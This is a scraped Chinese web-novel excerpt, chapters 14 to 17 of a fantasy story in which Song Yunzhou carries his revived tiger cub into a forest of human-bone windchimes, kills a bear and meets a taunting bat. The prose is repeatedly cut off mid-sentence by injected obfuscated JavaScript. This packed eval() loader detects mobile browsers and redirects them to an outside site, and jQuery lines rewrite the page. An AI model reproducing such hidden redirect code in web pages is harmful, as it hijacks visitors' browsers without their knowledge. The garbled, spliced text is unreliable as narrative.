不过没关系,宋云州也在朝它跑来,最后差的那一点高度和距离,有宋云州来稳稳地接住它。 飞奔而来的毛茸茸重新点亮了宋云州眸中的光彩,他大喊着布瑞德的名字,将它牢牢抱进怀里,亲昵地和它磨蹭脸颊,把脸埋进它的毛毛里猛吸,感受着失而复得的极致欣喜,笑着流出的眼泪打湿了布瑞德一大片毛毛。 布瑞德同样热烈地回应宋云州,湿漉漉的鼻子蹭上他的脸颊,嗅闻他的气味,两爪分别搭在他的双肩,用力往宋云州怀里挤,黏黏糊糊地分不开,像是要直接钻到他的心里去。 宋云州刚刚还在担心纳卡诺的法阵会不会使布瑞德性情大变,亦或是把它变成一具行尸走肉。 现在看到在怀里撒娇打滚的虎崽,他所有的疑虑都打消了。 这就是真正的布瑞德。 他的小面包又回来了! 在一旁密切关注着的兰缇娅和霍尔加也都松了口气。 纳卡诺向前伸直右臂,掌心向下,法阵中的黑雾逐渐收束,绘就阵纹的黑气长蛇一般蜿蜒退去,重新回到他的手中。 他用力握紧,再松手的时候,一切尽归虚空。 兰缇娅待圆石空地恢复纯白后,跑到纳卡诺身边问道:“能看出来这件事到底是谁做的吗?” 纳卡诺操纵黑雾,将林中的两具尸首运来扔到了圆石空地上。 霍尔加过来一起查看,只见两个男人均面色苍白,浑身上下都挤不出一滴血。 霍尔加蹲下身,凑近宋云州斩断的那颗头颅细看,同时翕动鼻翼闻了闻,奇怪道:“从他颈部断口的肉来看,虽然没有生长蛆虫,但绝对是属于死人的腐肉无疑,且应该死亡已久,可我却闻不到任何腐臭味。” “尸傀儡术。”纳卡诺斩钉截铁道。 宋云州认为那日在湖畔边突然出现的奇怪少女最为可疑。 难道是因为他没答应跟她一起对抗神殿,所以少女就用尸傀儡来报复他和布瑞德吗? 出于不想卷入争端的考量,宋云州之前没和任何人提起此事,他与神殿众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想也知道,如果纳卡诺打赢了,那他的工作地点应该就变成王城了,而不是在僻静远人的群山深处。 但要是神殿不衰落至此,或许也轮不上他来当临时工了。 宋云州默了默。 他本以为神明地位尊崇,至少待在神殿里能得到些许庇护,没想到神明也在焦头烂额。 那他和布瑞德待在神殿里,无异于成为了一个活靶子,他们侥幸扛过了魔法师的这次攻击,万一再有下一次呢? 宋云州兀自沉思着,忽听纳卡诺话锋一转,对他说:“我的力量只能延续他七日生命。” 宋云州愣了一下,反应过来纳卡诺说的是什么,旋即犹如被一盆冷水当头浇下,变了脸色:“这话是什么意思?” “他颈上有一道血线,”纳卡诺看向布瑞德,“是我的法力治疗他颈部伤口时留下的印记。” 宋云州抬起布瑞德扎在他怀里的毛脑袋,得到了一两声抗议的哼哼唧唧,他用手指拨开它蓬松厚实的颈毛,果然看到了一道红线,正是它被匕首划伤的位置。 “我的法力不全,暂时压制住了他的伤口,却只能维持七日,这道血线会随时间流逝逐渐消逝变短。如果在这之前没有补全另一半法力,七日后血线完全消失,他的致命伤会再次裂开,血崩而死,到那时就再无计可施。” 再强大的神力也无法让已死的生灵复生,纳卡诺只是修复了这具身躯的损伤,让赫狄弥斯的灵魂仍能留存。 但只有他一个人的力量还不够。 纳卡诺望向宋云州的双眼:“你必须带他前往悬铃森林,寻求另一个人的帮助。” 14. 悬铃森林 宋云州的指腹轻轻蹭过血线,并没有感受到细微的凸起,半掌长的血线像是布瑞德皮肤上的纹身。 宋云州经过最初的惊诧,很快接受了这个事实,他早在纳卡诺复活布瑞德之前就做好了心理准备,预料到此事可能不会太简单。 宋云州冷静询问:“那个人是谁?我要怎么才能找到他?” 纳卡诺说:“他叫烈金斯,原本是神殿的另一位守护者,却在八年前叛离神殿,之后长居于悬铃森林。我与他共分神殿之力,想救布瑞德就必须让他用他的那一半力量再次压制伤口。” 兰缇娅立刻出言阻止:“不能让宋云州去找他,太危险了。” 宋云州问:“前往悬铃森林的路途很艰险吗?” “不是路上危险,而是烈金斯这个人本身。”兰缇娅微微蹙眉,回忆起那些不好的记忆,“他喜怒无常,偏执起来十分疯狂,决意留在神殿里的是他,恨不得毁了神殿的也是他。当时若不是纳卡诺与他对抗,恐怕整个神殿都已经被他夷为平地了。” 兰缇娅劝宋云州三思:“烈金斯可以从布瑞德的伤口感知到纳卡诺的法力,也就会知道你与神殿有关。他憎恨神殿,很可能不仅不会帮你,甚至还将你和布瑞德置于险地。” 宋云州从兰缇娅担忧的神情中看得出此行的确凶险,但当布瑞德在他颈边蹭了蹭毛乎乎的脸颊,他就知道他不会再有其他选择。 他甘愿为他的布瑞德做任何事,只要有机会为布瑞德博得一线生机,无论是炼狱还是魔窟他都要去闯一闯。 宋云州说出他的决定,兰缇娅没有再劝,只是默默地轻叹了一口气。 既然要去,宋云州想多收集一些关于烈金斯的情报,他试探问道:“烈金斯为什么敌对神殿?” 此问一出,圆石空地上的人俱是一静。 兰缇娅见纳卡诺没有要回答的意思,她含糊说:“憎恨某件事物的理由很多,谁知道他究竟因为什么。” 宋云州见他们对此事讳莫如深,便没再接着问。 霍尔加似乎并不清楚这场神殿内斗的始末,一直静静旁听没有说话,他在此时主动提议:“我和宋云州一起去吧,至少还能有个照应。” 宋云州心中一动,当即就想答应,霍尔加的武力不低,和他一起去更有保障些,谁不想要一个厉害的伙伴同行呢。 纳卡诺却抢先帮宋云州回绝了霍尔加:“你不会魔法,再高超的剑术对上烈金斯的法力也没有施展的余地,还是不要冒险为好。” “我无法离开神殿,”纳卡诺对宋云州说,“菠萝会陪你去,它可以直接带你抵达悬铃森林。” “还有,”纳卡诺想了想补充道,“尽量不要和烈金斯提起我。” 宋云州下意识问:“为什么?” 纳卡诺不欲多说,避开了这个问题,示意宋云州:“回去准备一下吧。” 宋云州回房间整理了一下自己,洗去身上的血污泥土,换了一身干净且便于跋涉的衣服,和布瑞德一起吃了几个苹果,躺在床上歇了会儿。 布瑞德挤到宋云州身边,用鼻尖和毛脑袋拱起宋云州的手,先让他抚在它的背上,随后它熟练地原地卧倒翻身,就变成了被宋云州摸住肚皮的状态。 宋云州故意一动不动,看布瑞德如何自助达成目标,这才笑着胡撸起它的软肚皮。 在这期间,霍尔加来找了他一趟,听宋云州说从没进过森林,霍尔加当即将能想到的森林生存技能快速且详尽地一一讲给他听。 到了约定的出发时间,宋云州带着布瑞德在圆石空地上和其他人碰面。 霍尔加递给宋云州一个背包,里面装着他为宋云州准备的绳索、爪钩之类在森林里可能用到的工具,还有兰缇娅准备的水和食物。 霍尔加还拿来了他的佩剑,交到宋云州手上,认真地说:“这个你带着,防身用,包里还有一柄小刀。这些可都是我的宝贝,不白借给你,等你回来必须让我摸摸布瑞德的头。” 宋云州明白霍尔加的意思,扬起笑容向他和兰缇娅道了谢。 纳卡诺召来菠萝,褐色纸飞到宋云州面前,小章鱼依旧如初见那般欢乐地挥了挥触手。 纳卡诺叮嘱宋云州:“切勿勉强,一旦遇到解决不了的危险,就立刻让菠萝带你回来。” 宋云州看了布瑞德一眼,深知自己并无退路,但他还是向纳卡诺点点头:“谢谢。” 纳卡诺对菠萝说:“去吧。” 小菠得令,围绕宋云州快速地飞了一圈,红光闪过,只一瞬,宋云州就来到了一条杂草遍布的小径上。 在他面前,是连绵无际的山峦与密林。 小菠用文字和宋云州交流:【转移魔法只能到这里了,前方就是悬铃森林,它被一股强大的力量笼罩,压制了我的魔法,后面的路就需要你自己走了。】 纸面上的小章鱼有些失落地垂了垂触手。 “你已经很厉害了,为我们省去了很多时间。”宋云州安慰它,又问道,“这次与上回的转移魔法好像不太一样?” 宋云州记得他初到神殿的那次,小菠是用自燃的方式启动魔法,但这次它却完好无损。 小菠解释道:【我是一张纸的状态,承受不了太强大的魔法能量,在动用高阶魔法的同时,我自身就会损毁,即刻回归神殿。】 【那时候反正都是要回神殿,我就用了一个高阶转移魔法,所以才会烧起来。现在这个比较低级,我可以完全驾驭。】 小菠摇头晃脑地补充了句:【当然,如果我意外破损或是被撕掉,也是会马上回到神殿的。】 宋云州一边看小菠的解释,一边把布瑞德放进背包里。 山路崎岖坎坷,暗藏危险,宋云州不放心让布瑞德自己走,把它一直抱在怀里又不太方便应对突发状况。 正好背包足够大,宋云州就把布瑞德安顿在了这里。 布瑞德自然不愿意离开宋云州的怀抱,嗷嗷叫着,两条前爪够向宋云州的胸膛,琥珀眼满怀期待地望着他,要抱抱。 宋云州和布瑞德抵了抵额头,用温柔的语调拒绝了它:“先不能抱啦,要快点赶路才行,一会儿休息的时候我马上把你抱出来。” 布瑞德失望作罢。 宋云州背好背包,布瑞德从包里冒出上半身,两爪扒住宋云州,侧头枕在他的肩膀上。 宋云州回手抚了抚它的毛毛头,开始赶路。 小菠飘到布瑞德身边看了看,又回到宋云州跟前。 宋云州一眼就看到纸上出现了一副小老虎的简笔画,画的正是他背后布瑞德的模样。 “你居然还会画画!”宋云州惊喜不已。 小菠在边角处浮现一行小字:【它真的好可爱呀!】 宋云州轻轻把小菠拿到手里,看着上面可爱生动的布瑞德爱不释手。 没过多久,宋云州就走到了小径尽头,进入了悬铃森林。 这之后就没有现成的路了,宋云州松手让小菠自己飞动,选了个拦路枝条较为稀少的方向,向森林腹地进发。 依照纳卡诺的说法,在宋云州靠近悬铃森林的时候,烈金斯就已经感知到他了。 宋云州只要一直往森林深处走就好,当烈金斯愿意现身的时候自会出现。 自然,在这过程中也要小心提防烈金斯的突然袭击。 宋云州为防止迷路,每走一段距离就会折下一截灌木,打成显眼的结系在树木垂下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142442|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝条上。 林中空寂,每当山风拂过,就会有阵阵悦耳的响动传来,像是千百只风铃交替奏响,空灵清脆,在深林间悠远回荡。 悬铃森林,宋云州一开始以为这里生长着大片的悬铃木或是悬铃花,但现在听铃音不绝,该不会真的有人在这么高的树上挂风铃吧? 宋云州抬头四顾,视线被参天古木繁茂的枝叶遮挡,稍远些就看不见了,而近处也没有看到类似风铃的事物。 宋云州走了半晌,入目皆是花草林木,确是美景,但看久了免不得无聊枯燥。 他看向身边的小菠,试图用和它聊天缓解行路的疲劳:“小菠,你究竟是什么啊?” 宋云州好奇这个问题很久了:这只小章鱼有生命吗?还是魔法创造的? 小菠用触手摸了摸脑袋,神情也有些困惑:【我?】 【其实我也不太清楚,可能就是纳卡诺大坏蛋创造的我吧。】 【他是我见到的第一个人,那时候他把纸拿倒了,看我长得像菠萝,就给我起了这个名字,不过我真的挺喜欢的!】 小菠浮现出的文字字大行稀,一眼就能看清,根本不用费力,而且它飘浮在宋云州的侧前方,也不影响他看路。 为了更方便宋云州理解,小菠主动倒过来,将触手根部扭在一起,末梢向四周辐射状散开,再加上它的大脑袋,除了颜色不太对,的确很像一个菠萝。 宋云州会意一笑:“纳卡诺还挺会起名字的。” 他好奇地问:“你为什么要管纳卡诺叫大坏蛋?” 小菠触手交叉,噘了噘嘴:【因为他总是指使我东跑西颠地干活,平时没事就把我卷起来放到一边,从不陪我聊天解闷,还是兰缇娅更好,空闲时经常和我说话。】 宋云州趁机问了一句:“兰缇娅和霍尔加是为什么来到神殿的呢?” 小菠想了想:【我获得意识的时候,兰缇娅就已经在神殿里了,霍尔加是前两年才新来的,我跟他接触不多,他们都从没提起过为什么会来神殿住哎。】 霍尔加也是刚来不久? 宋云州心想,湖畔的少女会不会在之前也接触过霍尔加? 霍尔加又是如何应对的? 可因为那诡异的魔法,宋云州没办法向其他人求证这件事。 但他又想到另外一种可能,会不会少女就是要用这种办法让他们互相猜疑忌惮,从内部瓦解神殿呢? 就在这时,小菠神神秘秘地凑近宋云州,触手挡在嘴边,做出说悄悄话的架势:【告诉你个秘密,你千万不要跟别人说是我说的哦。】 宋云州马上接话:“什么秘密?” 小菠老神在在:【其实纳卡诺和烈金斯是宿敌加情敌来的。】 这句话浮现又消失的速度堪称闪现,宋云州庆幸自己看清了。 宋云州的好奇心马上被激起:“他们俩喜欢的是谁啊?” 小菠遗憾:【这个就不知道了,我那时候也这么问兰缇娅,但她没告诉我。】 宋云州马上就知道“情敌”的消息小菠是从哪儿得来的了,笑着故意问道:“兰缇娅没让你保密吗?” 小菠当即回答:【没有。】 但很快它就意识到了什么:【……可能那时候兰缇娅没想到之后神殿里还会再来其他人,所以没嘱咐我保密……】 小菠所有的触手一齐抱头,蔫成了霜打的茄子,不愿面对说漏嘴的现实。 没想到小章鱼也喜欢八卦消息,宋云州轻笑出声,同时视线无意扫过某处。 他脚步立时一滞,笑容凝固在脸上。 熟悉的灌木打成的结分外醒目地出现在他前方不远处。 ——这个地方他刚才来过。 15. 迷阵影踪 宋云州快步上前,摸着那截灌木枝条细看,判定的确是出自他手无疑。 他回身看向来的方向,他一直在向前走,没有转过任何弯。 怎么会又走回来了? 宋云州记不清这是他系的第几个结,不过肯定不是第一个,因为他一开始没控制好力气,把系灌木枝条的树枝给折断了。 一路走来,森林中各处的景物虽然不同,但看多了也都大同小异,很难清楚记忆。 宋云州不知道他现在所处的位置在哪,也不知道这里离刚进森林的小径有多远。 沉浸在懊恼中的小菠发现宋云州神情凝重,立刻凑上前看发生了什么事。 宋云州问它:“这是魔法做成的迷阵吗?” 小菠飞来飞去感受了一下,回答宋云州的问题:【应该不是魔法造成的。】 它看宋云州皱了皱眉头,似乎有些不相信,于是解释道:【整片森林确实都在烈金斯法力的庇护下,但他的法力只是为森林设下了一道禁制,效用是让他可以感受到进入森林的人或事物,并压制比他差劲的魔法,这不代表森林里到处都是魔法陷阱。】 宋云州倒不是不信小菠的话,他思考着如果不是魔法,那就是“鬼打墙”了。 他应该是在无意识中走了曲线,绕了一个大圈又走回原地。 究竟是什么误导了他呢? 宋云州本想让小菠飞到高处,观察并校准他前进的方向,可考虑到树木枝叶太过茂盛,不但会遮挡他的位置,还有可能会一个不小心把小菠刺破,便放弃了这个念头。 他想了想,先用小刀在树干上刻了个显眼的三角形记号,之后拔剑砍下一根粗长的树枝,去除上面的细枝和树叶,让它变成一根光溜溜的木棍,再把一端削尖,让它可以在泥土上轻松划出凹痕。 准备好这一切,宋云州招呼小菠继续朝前走,这次他没再和小菠说话,而是认真计算他迈出的步数,同时握着长树枝,将它拖在身侧,划出他行走的轨迹。 不知过了多久,宋云州停下脚步,直视前方树干上刻画的三角形。 小菠看着面前熟悉的地方,顿时震惊得面色发白,慌乱道:【怎、怎么又回来了?!】 宋云州这回却很平静,他并不惊讶又回到了原地,因为他走这一趟就是为了验证问题到底出在哪里。 这一次他还是按照一开始的方式,凭自己的感觉走直线,现在的结果则证实这个方式确实行不通。 宋云州不由得开始仔细观察起这片森林里的树来。 树木交错生长,各自占据一片空间,这就使得宋云州在直行遇到树时,总要选择绕行左边或是右边,之后再回到他预计的方向上。 但他忽略了在绕行过程中,他对于方向的感知并不能时刻保持绝对的准确,实际走出的路线并不真如他想象的那样。 于是一点又一点地偏离,就让他回到了原点。 宋云州将长树枝再次抵在刚才的起始位置,重新朝前走去。 现在就由他来纠正错误。 宋云州择定了正前方的一棵树作为目标,以它为基准向前走,每次绕过拦路的树后就马上看向目标树木,调整方向。 渐渐的,长树枝先后两次划出的行走轨迹出现分叉,而后,离之前那条线越来越远。 宋云州记着前一趟绕一圈所用的步数,这次他以相同的步幅行走,超出了几百步也没有再回到三角形前。 又走了一会儿,宋云州觉得有些累了,坐下喝水休息。 他把水倒在手掌心里,送到布瑞德跟前让它也喝点儿。 布瑞德因宋云州不理它,只能无聊地窝在背包里睡觉,在宋云州掌心舔了几口水就又活了过来,翘着尾巴就要高兴地跃出背包,却又被宋云州按住。 此时已近日暮,逐渐落山的太阳在树木脚下拖拽出长长的黑色斜影。 宋云州并未休息太久就打算继续前行,想来今天应该是见不到烈金斯了,他必须要在彻底天黑之前找到一处适宜过夜的地方。 宋云州低头整理背包,正要背上,就在这时,他发现不远处一棵树的影子有点儿奇怪。 黑影投在崎岖的地面上,粗长条形的那部分是树干,可它旁边还紧贴着一个又矮又细的部分,在一众影子中尤为诡异。 宋云州顺着那道影子抬头看向那棵树,霎时心头一凛,精神紧绷。 ——他看到那棵树后似乎站着一个人。 宋云州由于是逆光,他看不清那人的样子,只能看出一个模模糊糊的黑影。 宋云州一下子站了起来,黑影好像也正在偷偷观察着他,见他一有动作,立刻缩回了树后。 宋云州当即大声问道:“谁在那里?!” 他动作迅速地把背包口收紧,不许布瑞德再冒出头来,只留出一道供它换气的缺口,背上包,拔出剑,迅速且安静地向那棵树逼近。 宋云州边走边低声问小菠:“那是烈金斯吗?” 小菠也没能看清:【可我觉得并不像他,我没有感受到任何法力。】 说话间,宋云州已经靠近了那棵树,一股奇怪的恶臭变得愈发浓郁。 宋云州握紧剑柄,屏住呼吸,缓缓绕到了树背后,看清了黑影真实的模样。 宋云州完全没想到—— 躲藏在树后的黑影竟是一只体型硕大的棕熊! 浓重的寒意瞬间攀上宋云州背脊,他一心想找烈金斯救布瑞德,却忘了他来到的地方是一片真正的森林,必然存在着足以致命的野生猛兽。 棕熊同样发现了靠近的宋云州,它漆黑的眼中透着精光,直立起来,超过两米的结实身形中蕴藏着强劲的攻击力和杀伤力。 宋云州看着棕熊向他呲出獠牙,恶臭扑鼻而来,他的身体不受控制地发抖,却只能僵在原地,不敢移动半步。 飞在他身边的小菠也被眼前的状况骇得定在原地,不知所措。 在烈金斯法力的压制下,小菠只能动用高阶魔法,这就意味着无论宋云州是用它进攻、防御、亦或是逃亡,都只有唯一的一次机会。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142443|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋云州绝对不能让布瑞德葬身熊口,他把嘴唇张开一道小缝,尽可能不动嘴地极小声对小菠说:“我说‘逃跑’,你就带我们回神殿。” 他不知道小菠听到没有,也看不到它的回答,距离七日还有时间,逃回神殿还可以再来这里。 但宋云州不知道找到烈金斯到底需要多久,时间不能随意挥霍,他还是想要赌一把。 宋云州屏住呼吸,一动不动,任由棕熊在他身侧嗅来嗅去,兰缇娅没给他带肉质食物,背包里其他东西应该也不会对棕熊有吸引力。 只是布瑞德…… 宋云州在心中默默祈祷布瑞德千万别发出声音。 不知是他的祈祷起了作用,还是布瑞德又睡着了,棕熊没发觉有什么值得它发狂的,在宋云州身边待了一会儿就四肢着地,迈步离开了。 宋云州吞咽了一下,暗自松了口气,仍旧没动,目送棕熊的背影远去。 小菠摊开触手,倒在纸上:【好险好险,真的太吓人了。】 可就在他们都以为逃过一劫的时候,变故陡生,一只黑色的鸟突然从半空中俯冲而下,径直用脚爪抓向棕熊的面部。 棕熊吃痛怒吼,伸爪去拍,却扑了个空。 那只鸟速度极快,如黑色闪电般,几次来回进攻棕熊,宋云州都没来得及看出它到底是什么鸟,棕熊略显迟笨的动作自然也抓不住它。 不知这鸟与棕熊结了什么仇怨,一直不放过它,棕熊烦不胜烦,逐渐抓狂。 宋云州看出这是一个逃开的好机会,立刻行动,一边关注这边,一边迅速后撤。 倏然,一道脆生生的声音在宋云州耳边响起,带着嘲弄:“你以为你这就安全了吗?” 宋云州即刻扭头看去,却什么都没看到。 下一秒,宋云州意识到了什么,心头一紧,猛地看向棕熊的方向。 只见棕熊几欲喷火的双眼正不偏不倚地向他投来。 说话者声音很大,当然引起了棕熊的注意,黑鸟已经逃窜无踪,被彻底激怒的棕熊正无处发泄怒火,宋云州就被动撞到了枪口上。 棕熊目光锁定宋云州,震吼一声,旋即四肢发力,全速向宋云州猛冲过来。 事态如此发展,宋云州不会不明白黑鸟和那声音是一伙的,它们是在故意刺激棕熊朝他攻击。 此时情况危急,不可能再是屏息不动就能解决得了的了,容不得宋云州多想那声音的主人到底是谁,在棕熊冲来的瞬间他立刻转身撒腿狂奔。 宋云州虽已和棕熊隔开了一段距离,但在棕熊的速度面前完全不够看,沉重的呼吸声和浓郁的恶臭在身后越贴越近。 宋云州甚至觉得棕熊的唾液都已经喷到了他的脖子上。 他自知跑不过棕熊,飞速转动脑筋思考对策。 在一棵三人合抱的大树出现在眼前时,宋云州想好了退路,他脚下猛地转向,绕树奔跑。 趁棕熊也开始绕树,宋云州利用两者间仅剩的一点点距离差,绕到了棕熊背后,毫不犹豫地一剑刺向它! 16. 白骨铃音 宋云州这一招极为大胆也极为危险,稍有不慎出现一丝一毫的判断失误,他都会直直将自己送到棕熊嘴下。 他没有绝对的把握,因而准备了备用方案,将“逃跑”二字含在喉中,一旦发觉情况失控,他就立刻让小菠使用魔法。 棕熊痛苦的嘶吼声震响的那刻,宋云州才意识到这一剑竟真的让他刺中了! 霍尔加的长剑吹毛断发,锋利非常,宋云州用了十成十的力气将大半剑身全部刺入了棕熊的身体。 不仅如此,他还尽全力下按剑柄,努力将创口撕裂加深。 宋云州必须做到一击致命,如果只是不痛不痒地反击,无济于事不说,反倒会更加激怒棕熊,迟早是死路一条。 棕熊吃痛挺身,暴怒震吼,当即转身朝宋云州一掌拍来。 宋云州得手后并不试图把剑抽出来,直接撒手就跑,棕熊转身时他早就跑出了一段距离。 棕熊马上追赶,它暴怒之下的快速跑动加速了鲜血涌出,没跑几步速度就变得越来越慢,而后失力倒地,粗重喘息。 宋云州躲在百米开外的一棵树后观察棕熊,见它没再追来,这才将提到嗓子眼的心稍稍放下。 狂奔逃命的时候没发觉,现在静下来,宋云州才意识到自己正急促喘息着,浑身都是冷汗,手脚控制不住地打颤,双腿软得像面条一样。 面对大型野兽感到恐惧似乎是人类的本能,就算在危急关头迸发出的勇气一时占据上风,也会有恐惧在事后如细流般在心底源源不断冒出。 宋云州手扶着树干,慢慢滑坐在地,努力缓解紧张情绪,让自己平静下来。 他抬手擦了一把额头上的汗,放下手却看到手背上擦下来的全是粘腻的血。 布瑞德早就感受到了不安定,在背包里踢蹬着想要钻出来,宋云州攥了把草叶擦血,隔着包安抚地轻拍了拍。 棕熊挣扎片刻,彻底没有声音了,宋云州为保险又等了一会儿才绕到棕熊背后,一把抽出插在它身上的剑。 宋云州怕棕熊的血味召来其他肉食动物,动作迅速地离开此处。 他心有余悸地防备着周遭的动静,不止是猛兽,还有那道突然出现的声音。 没走太久,宋云州幸运地循着声音找到一条小溪,确认安全后,他在溪水中洗去溅洒在身上和剑上的熊血。 布瑞德终于从背包里得到解脱,第一时间就担忧地凑到宋云州身边,嗅闻他身上的血迹。 宋云州摸摸它的脑袋,轻松地笑了笑:“我一点事儿都没有。” 小菠呆呆地放空自己,还没从刚才的惊险中回过神来:【你胆子真的好大,居然用这种方式把它杀掉……】 宋云州舒了口气:“实在没办法了。” 要是那声音和黑鸟不来捣乱,大概就没有后面这一遭了。 小菠钦佩地望着宋云州:【你真的好勇敢!我以前只看兰缇娅杀过熊,她是在熊猛冲过来的时候一箭射穿了它的脑壳。】 宋云州设想了一下兰缇娅杀熊的场景,不由又感到一阵惊险,赶紧让小菠换个话题。 布瑞德不往远处去,只在宋云州身边转悠,低着头东闻闻西闻闻,忽而张开嘴。 宋云州担心布瑞德的嗷嗷叫会把它的同类引过来,立刻捂住了它的嘴。 布瑞德在宋云州手下歪了歪头,疑惑地张嘴,无声地打了个哈欠,然后抖了抖项圈。 宋云州:“……” 他收回手,把布瑞德抱到他的上游,让它自己喝水。 眼见天色越发暗淡,许多动物会趁夜间来溪边喝水,宋云州不在溪边久留,带布瑞德和小菠另寻了一片较为开阔的地方过夜。 宋云州沿路捡拾干枯的树枝,很快聚集了满怀,布瑞德蹦蹦跳跳地跟在他身边,嘴里也帮他叼着一小根树枝。 宋云州拿出霍尔加给的火石,掂在手里想了想,还是先用粗树枝在旁边刨出一个小坑,把挖出来的土堆积在身边,备着用来灭火,这才开始生火。 他毕竟没经验,万一把森林点着了可不是闹着玩的。 天色完全黑下来,由于高大树木层层遮蔽,林中的空间犹如被一层黑幕笼罩,只有一两点微小的星月光辉能够透过枝叶缝隙洒落。 各种古怪的鸟叫在远方的黑暗中此起彼伏,为整片森林平添一股诡谲幽暗的氛围。 宋云州盘腿坐在几棵树环绕的空地上,面冲温暖的火焰,把布瑞德抱在怀里。 他伸手翻动了两下架在火上烤的面包,觉得温度差不多了,就拿下来和布瑞德分着吃。 布瑞德吃饱喝足,又有宋云州的怀抱,它懒洋洋地伸展了一下四肢,翻身肚皮朝上,头歪向宋云州的胸膛。 它映着火光的琥珀眼更加明亮,静静仰头盯着宋云州看。 宋云州拨开布瑞德的颈毛,血线长度变化不大,他目露心疼地用手指轻轻抚了抚,转而揉上了布瑞德的肚皮。 布瑞德在温柔的抚摸中越发放松,眨眼的频率越来越慢,直至睡熟。 为防小菠不小心被火苗燎到,宋云州把它揣进了衣服里,没有人和他聊天。 寂静的火苗噼啪声中,行路与奔袭的疲惫如潮水般渐渐漫上来,宋云州打了个哈欠。 他往火里又续了一把枯枝,只要火还在燃烧,野生动物就不敢轻易靠近。 没有其他人和宋云州交替守夜,他不可能一直不眠不休,他扭头看了看四周,拔出剑握在手里,开始闭目养神。 宋云州刚闭上眼不久,突然有一阵风铃声传入他的耳中。 宋云州猛地睁开了双眼。 一路上总有风铃声响从远方飘来,宋云州听多了就没再去留意,而现在这声音就响在他耳边,他却并没有感觉到一丝风,怎么会有风铃摇动。 宋云州不动声色地把布瑞德迅速塞进背包,而后左手抄起几根燃烧的树枝末端,起身举向风铃声响起的方向,同时右手横举长剑护在胸前。 在火光照耀下,宋云州看到发出声响的那棵树上似乎有两个奇怪的红色亮点。 他举着火把靠近,想要再看得清楚些。 与此同时,地上的火苗突然没来由地颤动了一下,随即无数风铃齐动,声音从宋云州的四面八方传来。 宋云州尽力仰头看向高处,就在他看清树上事物的刹那,他只觉头皮发麻,瞬间起了一身鸡皮疙瘩。 ——竟是一具人类的白骨悬在树上,而那两个红点,正是苍白颅骨亮起的眼睛! 白骨不是完整呈现的骷髅,而是取人体中臂骨腿骨这样纤长的骨头,打散重组。 颅骨置于最上方,余下纤长骨骼用坚韧的细藤围作一圈,悬垂在颅骨之下,丧心病狂地制成风铃模样。 山风吹动,枯骨交击,发出风铃般空灵的响声。 宋云州惊愕地后退一步,僵硬地扫视一圈所有风铃声出现的方向,看到无数双血红的眼睛在数不清的骷髅头骨中亮起,几乎这里的每一棵树上都悬挂着一具白骨。 宋云州这时才发觉,人骨风铃笼罩了他所处的整片森林。 所谓悬铃森林,悬的竟是人类白骨制成的风铃。 “哎呀呀,被你发现了。”白天的声音再次出现,愉悦而又充满恶意,“那就跟你打个招呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋云州的应对逐渐显得左支右绌,蝙蝠群的包围圈越缩越小,一旦火把彻底熄灭,蝙蝠群就会一齐冲过来将他活活咬死吸干。 宋云州在蝙蝠杂乱的包围中努力辨明位置,向被蝙蝠群隔绝在外的火堆和布瑞德所在的背包靠近,快速思索究竟该如何脱身。 那声音在战圈外围啧啧感叹:“这么好看的皮囊真是可惜,很遗憾我不收集人皮,不过你的骨头应该也很漂亮吧?” “谁让我心地善良,我可以给美人优待,让你自己选择想把骨头挂在哪棵树上。”那声音嘿嘿坏笑着,“想好的话记得抓紧在临死前告诉我,不然我就只能随便给你挂了哦。” 宋云州知道声音主人压根没想放过他,自然不去理会这些废话。 那声音把注意力完全放在宋云州身上,没注意到身后有一只毛茸茸的小脑袋,从没系紧的背包里挤了出来。 布瑞德刚刚听到了宋云州的声音,迫不及待想要出来,可眼前除了一群乱飞的生物之外,完全不见宋云州的身影。 布瑞德焦急环视一周,目光却不由自主地被火堆旁的某个东西吸引。 它眼前顿时一亮,激动得心脏都在怦怦直跳—— 它还从没见过这么大的蝴蝶。 布瑞德眨了眨眼睛,打定主意,悄无声息地钻出背包,从背后慢慢接近蝴蝶。 在到达预估位置时,布瑞德足下发力猛然跃起,身形矫健地自背后一爪将“蝴蝶”——一只正得意洋洋悬停在低空的蝙蝠——拍到了地上,牢牢摁在爪下。 17. 黑莓大人 伴随身躯着地“咚”的闷响,蝙蝠发出一声响亮的:“哎呦!” 它赶紧扑棱双翅想要逃开,奈何与按在它身后的力量相比差距悬殊,根本挣扎不开。 蝙蝠旋即大声嚷嚷,试图从气势上压倒对方:“什么东西竟敢偷袭本大人?!快给我松开!” 